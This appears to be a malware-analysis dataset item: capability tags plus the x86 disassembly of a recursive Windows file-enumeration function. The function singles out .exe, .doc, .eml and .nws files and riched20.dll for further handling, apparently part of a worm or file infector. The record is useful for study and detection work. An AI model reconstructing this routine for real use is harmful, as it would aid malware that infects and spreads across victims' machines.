Function at 0x37373ddf
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x150
push ebx
push esi
mov esi, 0x400
push edi
push esi
push 8
push dword [0x3737ad14]
xor edi, edi
mov dword [ebp - 0xc], edi
mov dword [ebp - 4], edi
mov dword [ebp - 8], edi
call dword [0x3737acd4]
mov ebx, eax
cmp ebx, edi
jne 0x37373e17
xor eax, eax
jmp 0x37374130
push esi
push dword [ebp + 8]
push ebx
call dword [sym.imp.MSVCRT.dll_strncpy]
push ebx
call fcn.3737186e
push dword [ebp + 8]
call sub.MSVCRT.dll_strlen
mov edi, dword [sym.imp.MSVCRT.dll_strncat]
mov ecx, esi
sub ecx, eax
push ecx
push str..
push ebx
call edi
add esp, 0x20
lea eax, [ebp - 0x150]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [ebp - 0x10], eax
jne 0x37373e70
push ebx
push 0
push dword [0x3737ad14]
call dword [0x3737acd0]
jmp 0x3737412d
lea eax, [ebp - 0x124]
push eax
call dword [sym.imp.MSVCRT.dll__strlwr]
lea eax, [ebp - 0x124]
mov dword [esp], 0x37379010
push eax
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
je 0x3737401d
lea eax, [ebp - 0x124]
push 0x37379488
push eax
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
je 0x3737401d
test byte [ebp - 0x150], 0x10
je 0x37373ef4
push ebx
call sub.MSVCRT.dll_strlen
mov ecx, esi
sub ecx, eax
push ecx
push 0x37379484
push ebx
call edi
push ebx
call sub.MSVCRT.dll_strlen
mov ecx, esi
sub ecx, eax
lea eax, [ebp - 0x124]
push ecx
push eax
push ebx
call edi
push ebx
call fcn.37373ddf
add esp, 0x24
jmp 0x3737401d
lea eax, [ebp - 0x124]
push eax
call sub.MSVCRT.dll_strlen
cmp eax, 4
pop ecx
jbe 0x3737401d
lea eax, [ebp - 0x124]
push str..exe
push eax
call sub.MSVCRT.dll_strlen
pop ecx
lea eax, [ebp + eax - 0x128]
push eax
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
jne 0x37373f7e
push esi
push dword [ebp + 8]
push ebx
call dword [sym.imp.MSVCRT.dll_strncpy]
push ebx
call sub.MSVCRT.dll_strlen
mov ecx, esi
sub ecx, eax
push ecx
push 0x37379484
push ebx
call edi
push ebx
call sub.MSVCRT.dll_strlen
mov ecx, esi
sub ecx, eax
lea eax, [ebp - 0x124]
push ecx
push eax
push ebx
call edi
add esp, 0x2c
cmp dword [0x3737ad10], 0
je 0x3737401d
push ebx
call fcn.37373883
pop ecx
jmp 0x3737401d
lea eax, [ebp - 0x124]
push str..doc
push eax
call sub.MSVCRT.dll_strlen
pop ecx
lea eax, [ebp + eax - 0x128]
push eax
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
jne 0x37373fac
mov dword [ebp - 0xc], 1
jmp 0x3737401d
lea eax, [ebp - 0x124]
push str..eml
push eax
call sub.MSVCRT.dll_strlen
pop ecx
lea eax, [ebp + eax - 0x128]
push eax
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
je 0x37373ff6
lea eax, [ebp - 0x124]
push str..nws
push eax
call sub.MSVCRT.dll_strlen
pop ecx
lea eax, [ebp + eax - 0x128]
push eax
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
jne 0x37373fff
mov dword [ebp - 4], 1
jmp 0x3737401d
lea eax, [ebp - 0x124]
push str.riched20.dll
push eax
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
jne 0x3737401d
mov dword [ebp - 8], 1
lea eax, [ebp - 0x150]
push eax
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0x373740c0
lea eax, [ebp - 0x124]
push eax
call dword [sym.imp.MSVCRT.dll__strlwr]
lea eax, [ebp - 0x124]
mov dword [esp], 0x37379010
push eax
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
je 0x3737401d
lea eax, [ebp - 0x124]
push 0x37379488
push eax
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
je 0x3737401d
test byte [ebp - 0x150], 0x10
je 0x37373ef4
push esi
push dword [ebp + 8]
push ebx
call dword [sym.imp.MSVCRT.dll_strncpy]
push ebx
call sub.MSVCRT.dll_strlen
mov ecx, esi
sub ecx, eax
push ecx
push 0x37379484
push ebx
call edi
push ebx
call sub.MSVCRT.dll_strlen
mov ecx, esi
sub ecx, eax
lea eax, [ebp - 0x124]
push ecx
push eax
push ebx
call edi
push ebx
call fcn.37373ddf
add esp, 0x30
jmp 0x3737401d
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_FindClose]
xor esi, esi
push ebx
push esi
push dword [0x3737ad14]
call dword [0x3737acd0]
cmp dword [0x3737ad10], esi
je 0x3737410b
cmp dword [ebp - 0xc], 1
jne 0x373740fc
cmp dword [ebp - 8], esi
push dword [ebp + 8]
jne 0x373740f6
call fcn.3737431f
jmp 0x373740fb
call fcn.3737443d
pop ecx
cmp dword [ebp - 4], esi
push dword [ebp + 8]
je 0x37374127
call fcn.37374582
jmp 0x3737412c
cmp dword [ebp - 0xc], 1
jne 0x3737411f
cmp dword [ebp - 8], esi
jne 0x3737411f
push dword [ebp + 8]
call fcn.3737431f
pop ecx
cmp dword [ebp - 4], esi
jne 0x3737412d
push dword [ebp + 8]
call fcn.37374384
pop ecx
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret